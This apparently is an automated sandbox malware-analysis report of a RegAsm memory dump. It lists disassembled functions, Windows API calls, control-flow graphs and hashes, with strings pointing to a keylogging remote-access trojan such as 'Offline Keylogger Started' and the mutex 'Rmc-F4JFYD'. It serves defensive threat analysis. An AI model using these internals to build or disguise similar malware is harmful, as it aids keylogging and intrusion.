                      control_flow_graph 1683 44ac49-44ac62 1684 44ac64-44ac74 call 446766 1683->1684 1685 44ac78-44ac7d 1683->1685 1684->1685 1693 44ac76 1684->1693 1687 44ac7f-44ac87 1685->1687 1688 44ac8a-44acae MultiByteToWideChar 1685->1688 1687->1688 1690 44acb4-44acc0 1688->1690 1691 44ae41-44ae54 call 434fcb 1688->1691 1694 44ad14 1690->1694 1695 44acc2-44acd3 1690->1695 1693->1685 1699 44ad16-44ad18 1694->1699 1696 44acd5-44ace4 call 457190 1695->1696 1697 44acf2-44ad03 call 446137 1695->1697 1702 44ae36 1696->1702 1708 44acea-44acf0 1696->1708 1697->1702 1709 44ad09 1697->1709 1699->1702 1703 44ad1e-44ad31 MultiByteToWideChar 1699->1703 1707 44ae38-44ae3f call 435e40 1702->1707 1703->1702 1706 44ad37-44ad49 call 448bb3 1703->1706 1713 44ad4e-44ad52 1706->1713 1707->1691 1712 44ad0f-44ad12 1708->1712 1709->1712 1712->1699 1713->1702 1715 44ad58-44ad5f 1713->1715 1716 44ad61-44ad66 1715->1716 1717 44ad99-44ada5 1715->1717 1716->1707 1718 44ad6c-44ad6e 1716->1718 1719 44ada7-44adb8 1717->1719 1720 44adf1 1717->1720 1718->1702 1721 44ad74-44ad8e call 448bb3 1718->1721 1723 44add3-44ade4 call 446137 1719->1723 1724 44adba-44adc9 call 457190 1719->1724 1722 44adf3-44adf5 1720->1722 1721->1707 1735 44ad94 1721->1735 1726 44adf7-44ae10 call 448bb3 1722->1726 1727 44ae2f-44ae35 call 435e40 1722->1727 1723->1727 1739 44ade6 1723->1739 1724->1727 1738 44adcb-44add1 1724->1738 1726->1727 1741 44ae12-44ae19 1726->1741 1727->1702 1735->1702 1740 44adec-44adef 1738->1740 1739->1740 1740->1722 1742 44ae55-44ae5b 1741->1742 1743 44ae1b-44ae1c 1741->1743 1744 44ae1d-44ae2d WideCharToMultiByte 1742->1744 1743->1744 1744->1727 1745 44ae5d-44ae64 call 435e40 1744->1745 1745->1707
                      APIs
                      • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,0042DD01,?,?,?,0044AE9A,00000001,00000001,?), ref: 0044ACA3
                      • __alloca_probe_16.LIBCMT ref: 0044ACDB
                      • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,0042DD01,?,?,?,0044AE9A,00000001,00000001,?), ref: 0044AD29
                      • __alloca_probe_16.LIBCMT ref: 0044ADC0
                      • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0044AE23
                      • __freea.LIBCMT ref: 0044AE30
                        • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                      • __freea.LIBCMT ref: 0044AE39
                      • __freea.LIBCMT ref: 0044AE5E
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                      • String ID:
                      • API String ID: 3864826663-0
                      • Opcode ID: 12305b3b87d107202002273903900b71ffd2ccf102546581680d8e37d1659883
                      • Instruction ID: b5b01290aead076256688b5938d42e4b2a7c64905c3dece0b68445a47d4ef5f6
                      • Opcode Fuzzy Hash: 12305b3b87d107202002273903900b71ffd2ccf102546581680d8e37d1659883
                      • Instruction Fuzzy Hash: 1F513A72680206AFFB258F64CC41EBF77AAEB44714F24462EFC14D6240EB38DC60875A
                      Function 0041C3F1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0041C44D
                      • CloseHandle.KERNEL32(00000000), ref: 0041C459
                      • WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C46A
                      • CloseHandle.KERNEL32(00000000), ref: 0041C477
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseHandle$CreatePointerWrite
                      • String ID: hpF
                      • API String ID: 1852769593-151379673
                      • Opcode ID: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                      • Instruction ID: 5cb8be75c3dc4c1e2f747800af3fbfd5a98fa41e64789a84fd548ad7506a8702
                      • Opcode Fuzzy Hash: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                      • Instruction Fuzzy Hash: B0110471288220FFEA104B24ACD9EFB739CEB46375F10462AF592C22C1C7259C81863A
                      Function 0041B2C3 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                        • Part of subcall function 0041BFB7: IsWow64Process.KERNEL32(00000000,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFCF
                        • Part of subcall function 004135A6: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                        • Part of subcall function 004135A6: RegQueryValueExA.KERNEL32 ref: 004135E7
                        • Part of subcall function 004135A6: RegCloseKey.KERNEL32(?), ref: 004135F2
                      • StrToIntA.SHLWAPI(00000000), ref: 0041B33C
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CloseCurrentOpenQueryValueWow64
                      • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                      • API String ID: 782494840-2070987746
                      • Opcode ID: 4bb90c0f07e29b0526b62701d95bcfb2f6be5e0deda9af741838fbf4b4585177
                      • Instruction ID: 0537cd1ef0e49ffa1b211e53375311a7de90e31f2ded896f28e78de68f6ce99c
                      • Opcode Fuzzy Hash: 4bb90c0f07e29b0526b62701d95bcfb2f6be5e0deda9af741838fbf4b4585177
                      • Instruction Fuzzy Hash: 42112370A4010566C704B3668C87EFF77198B95314F94013BF856A21E2FB6C599683AE
                      Function 10008821 Relevance: 9.2, APIs: 6, Instructions: 216COMMON
                      Download Yara Rule
                      APIs
                      • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,10006FFD,00000000,?,?,?,10008A72,?,?,00000100), ref: 1000887B
                      • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,10008A72,?,?,00000100,5EFC4D8B,?,?), ref: 10008901
                      • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,5EFC4D8B,00000100,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 100089FB
                      • __freea.LIBCMT ref: 10008A08
                        • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                      • __freea.LIBCMT ref: 10008A11
                      • __freea.LIBCMT ref: 10008A36
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharMultiWide__freea$AllocateHeap
                      • String ID:
                      • API String ID: 1414292761-0
                      • Opcode ID: bbd44e65680a142b819532ff26adde273e0ccd3bd0c95f1520c1a5c0857fc469
                      • Instruction ID: 3f57ce737592ef9202bcebfaa3f65c0582e3f3231b4dd00ae19a895c9b397c34
                      • Opcode Fuzzy Hash: bbd44e65680a142b819532ff26adde273e0ccd3bd0c95f1520c1a5c0857fc469
                      • Instruction Fuzzy Hash: 4F51CF72710216ABFB15CF60CC85EAB37A9FB417D0F11462AFC44D6148EB35EE509BA1
                      Function 0040A675 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
                      • GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                      • Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                      • CloseHandle.KERNEL32(00000000), ref: 0040A6EE
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseCreateHandleSizeSleep
                      • String ID: XQG
                      • API String ID: 1958988193-3606453820
                      • Opcode ID: ed692bf81f71d99d64d0e48405d0f3cb823898ebec9c5078a7592842c921da17
                      • Instruction ID: 2d5b847f40b6dc6d65e682cb961bc0859910b41d7418e35cc132b68a4a9af338
                      • Opcode Fuzzy Hash: ed692bf81f71d99d64d0e48405d0f3cb823898ebec9c5078a7592842c921da17
                      • Instruction Fuzzy Hash: AD112B30600740EEE631A7249895A5F3B6AEB41356F48083AF2C26B6D2C6799CA0C35E
                      Function 00415AEA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CountEventTick
                      • String ID: !D@$NG
                      • API String ID: 180926312-2721294649
                      • Opcode ID: abd2cb160bd3af383f123acca2b5de62893fbde30e3d3295178f85f604f71705
                      • Instruction ID: 1740d3d485f2be3f914829e5aa2a54ae858af1ae40273f66f7ff2800e9d96298
                      • Opcode Fuzzy Hash: abd2cb160bd3af383f123acca2b5de62893fbde30e3d3295178f85f604f71705
                      • Instruction Fuzzy Hash: 7E51A1316083019AC724FB32D852AEF73A5AF94314F50493FF54A671E2EF3C5949C68A
                      Function 0040A179 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                      Download Yara Rule
                      APIs
                      • CreateThread.KERNEL32(00000000,00000000,0040A27D,?,00000000,00000000), ref: 0040A1FE
                      • CreateThread.KERNEL32(00000000,00000000,Function_0000A267,?,00000000,00000000), ref: 0040A20E
                      • CreateThread.KERNEL32(00000000,00000000,Function_0000A289,?,00000000,00000000), ref: 0040A21A
                        • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B172
                        • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateThread$LocalTimewsprintf
                      • String ID: Offline Keylogger Started
                      • API String ID: 465354869-4114347211
                      • Opcode ID: bde4462d29761b0d23c786235d2939a769aa686a4d808022a739f1360b93890e
                      • Instruction ID: bcf1cfbdc14a627f6781ea3a40f7cea6448602225ce5b2be95dc640702f6c2bd
                      • Opcode Fuzzy Hash: bde4462d29761b0d23c786235d2939a769aa686a4d808022a739f1360b93890e
                      • Instruction Fuzzy Hash: DE1194B12003187AD220B7369C86CBB765DDA8139CB00057FF946222D2EA795D54CAFB
                      Function 00404F51 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58timethreadCOMMON
                      Download Yara Rule
                      APIs
                      • GetLocalTime.KERNEL32(00000001,00474EE0,00475598,?,?,?,?,00415CD6,?,00000001), ref: 00404F81
                      • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00474EE0,00475598,?,?,?,?,00415CD6,?,00000001), ref: 00404FCD
                      • CreateThread.KERNEL32(00000000,00000000,Function_00005150,?,00000000,00000000), ref: 00404FE0
                      Strings
                      • KeepAlive | Enabled | Timeout: , xrefs: 00404F94
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Create$EventLocalThreadTime
                      • String ID: KeepAlive | Enabled | Timeout:
                      • API String ID: 2532271599-1507639952
                      • Opcode ID: 5b2464df5b8dac7f4146cdbfda56de71be1ea15fa094643bc8b0c6bbca94d29d
                      • Instruction ID: 982fc92e7e47f2769c776e0d9ab1702947c5453eb715a4cfed9cf45540ca89dc
                      • Opcode Fuzzy Hash: 5b2464df5b8dac7f4146cdbfda56de71be1ea15fa094643bc8b0c6bbca94d29d
                      • Instruction Fuzzy Hash: A8110671904385AAC720A7778C0DEAB7FA8DBD2710F04046FF54163291DAB89445CBBA
                      Function 0041376F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 0041377E
                      • RegSetValueExA.KERNEL32(?,004674B8,00000000,?,00000000,00000000), ref: 004137A6
                      • RegCloseKey.KERNEL32(?), ref: 004137B1
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseCreateValue
                      • String ID: pth_unenc
                      • API String ID: 1818849710-4028850238
                      • Opcode ID: 3ae23bf51bdae044d43d0241d7839713fa8c787b67a3ee745682b35b7168c146
                      • Instruction ID: c04290829ccef693e4e8b5b7d06cdf9a2950efbbd707a4c1379ff92f90edcb59
                      • Opcode Fuzzy Hash: 3ae23bf51bdae044d43d0241d7839713fa8c787b67a3ee745682b35b7168c146
                      • Instruction Fuzzy Hash: B8F06272400118FBCB009FA1DD45DEA376CEF04B51F108566FD09A61A1D7359E14DB54
                      Function 00404CC3 Relevance: 6.1, APIs: 4, Instructions: 121synchronizationthreadCOMMON
                      Download Yara Rule
                      APIs
                      • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,00474F50), ref: 00404DB3
                      • CreateThread.KERNEL32(00000000,00000000,?,00474EF8,00000000,00000000), ref: 00404DC7
                      • WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 00404DD2
                      • CloseHandle.KERNEL32(00000000), ref: 00404DDB
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Create$CloseEventHandleObjectSingleThreadWait
                      • String ID:
                      • API String ID: 3360349984-0
                      • Opcode ID: 1ce035a7b966a75c564ff691225e03bbdee9db3efe1fc3803c88755efac40c04
                      • Instruction ID: 465453d6db43d9529954589ba2efa69a6de0eb64d520c2048147815e962fb190
                      • Opcode Fuzzy Hash: 1ce035a7b966a75c564ff691225e03bbdee9db3efe1fc3803c88755efac40c04
                      • Instruction Fuzzy Hash: 3E4192B1108301AFC714EB62CD55DBFB7EDAFD4314F40093EF992A22E1DB3899098666
                      Function 1000C7E6 Relevance: 6.1, APIs: 4, Instructions: 65COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleA.KERNEL32(1000C7DD), ref: 1000C7E6
                      • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                        • Part of subcall function 1000C803: VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                        • Part of subcall function 1000C803: VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleModuleProtectVirtual
                      • String ID:
                      • API String ID: 2905821283-0
                      • Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                      • Instruction ID: 210348daefc771ff09e919cc38fdfa0d839c8297c2798a32150270056baeab90
                      • Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                      • Instruction Fuzzy Hash: 0301D22094574A38BA51D7B40C06EBA5FD8DB176E0B24D756F1408619BDDA08906C3AE
                      Function 10005CE1 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,10001D66,00000000,00000000,?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue), ref: 10005D13
                      • GetLastError.KERNEL32(?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue,1000E190,FlsSetValue,00000000,00000364,?,10005BC8), ref: 10005D1F
                      • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue,1000E190,FlsSetValue,00000000), ref: 10005D2D
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: LibraryLoad$ErrorLast
                      • String ID:
                      • API String ID: 3177248105-0
                      • Opcode ID: 803c5c09655bb12e7a00387565e20d3af286ada8f732c439529cecb726329beb
                      • Instruction ID: ab8c2af688280ff547417c348c7c3430721907d0b6a0cc88e9d35c15e8af339b
                      • Opcode Fuzzy Hash: 803c5c09655bb12e7a00387565e20d3af286ada8f732c439529cecb726329beb
                      • Instruction Fuzzy Hash: 59018436615732ABE7319B689C8CB4B7798EF056E2B214623F909D7158D731D801CAE0
                      Function 00448566 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue), ref: 00448598
                      • GetLastError.KERNEL32(?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7), ref: 004485A4
                      • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000), ref: 004485B2
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: LibraryLoad$ErrorLast
                      • String ID:
                      • API String ID: 3177248105-0
                      • Opcode ID: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                      • Instruction ID: d5df962f837ff7629ef00c7a8b4dcab40ba3e58d8e4ddb8b40c265455ff02ab4
                      • Opcode Fuzzy Hash: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                      • Instruction Fuzzy Hash: AA012832602322FBD7214B289C4495B7798AB50B61B20053AFD05D3241DF34CD01CAE8
                      Function 0041C485 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                      • GetFileSize.KERNEL32(00000000,00000000), ref: 0041C4B2
                      • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C4D7
                      • CloseHandle.KERNEL32(00000000), ref: 0041C4E5
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseCreateHandleReadSize
                      • String ID:
                      • API String ID: 3919263394-0
                      • Opcode ID: 3271d486463dfc93c477f1e2c7ad2cd28a4a76e92964f49fc02a4406d9477efd
                      • Instruction ID: d938e931a51b81dfe9e25773ede9364464a286a3a3b97e7b856b7b87d8bf29b3
                      • Opcode Fuzzy Hash: 3271d486463dfc93c477f1e2c7ad2cd28a4a76e92964f49fc02a4406d9477efd
                      • Instruction Fuzzy Hash: 0FF0C2B1245308BFE6101B25ACD4EBB375CEB867A9F00053EF902A22C1CA298C05913A
                      Function 0040D069 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                      Download Yara Rule
                      APIs
                      • CreateMutexA.KERNEL32(00000000,00000001,00000000,0040EC08,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0040D078
                      • GetLastError.KERNEL32 ref: 0040D083
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateErrorLastMutex
                      • String ID: Rmc-F4JFYD
                      • API String ID: 1925916568-345995900
                      • Opcode ID: 39599091def79051ab742ff046aa9e12e6026389991bc8d246940820909dc324
                      • Instruction ID: 95155ffd2f5cf2c34283977deb482d2843c3ccfb5002447f486bda260673b364
                      • Opcode Fuzzy Hash: 39599091def79051ab742ff046aa9e12e6026389991bc8d246940820909dc324
                      • Instruction Fuzzy Hash: 18D012B0604701EBD7181770ED5975839959744702F40487AB50BD99F1CBAC88908519
                      Function 1000C7A7 Relevance: 4.6, APIs: 3, Instructions: 100COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                        • Part of subcall function 1000C7E6: GetModuleHandleA.KERNEL32(1000C7DD), ref: 1000C7E6
                        • Part of subcall function 1000C7E6: VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                        • Part of subcall function 1000C7E6: VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleModuleProtectVirtual
                      • String ID:
                      • API String ID: 2905821283-0
                      • Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                      • Instruction ID: abaa11d5974e3e1b05dfd32ec0224f7ddc3d76465740e120717e363e7a178845
                      • Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                      • Instruction Fuzzy Hash: A921382140838A6FF711CBB44C05FA67FD8DB172E0F198696E040CB147DDA89845C3AE
                      Function 00404AA1 Relevance: 4.6, APIs: 3, Instructions: 93synchronizationnetworkCOMMON
                      Download Yara Rule
                      APIs
                      • send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      • WaitForSingleObject.KERNEL32(00000000,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                      • SetEvent.KERNEL32(00000000,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: EventObjectSingleWaitsend
                      • String ID:
                      • API String ID: 3963590051-0
                      • Opcode ID: 9fc3f5fbc76b769c61b094c1e0d5237dee77039eb0f94f08c61e3471faa40265
                      • Instruction ID: 83b425c638d75041f18e819343fb0b0c123ba7f8272f9a3a5816098776915250
                      • Opcode Fuzzy Hash: 9fc3f5fbc76b769c61b094c1e0d5237dee77039eb0f94f08c61e3471faa40265
                      • Instruction Fuzzy Hash: A52126B2900119BBCB04ABA1DC95DEE773CFF14314B00452BF515B21E2EE79AA15C6A4
                      Function 1000C803 Relevance: 4.6, APIs: 3, Instructions: 54memoryCOMMON
                      Download Yara Rule
                      APIs
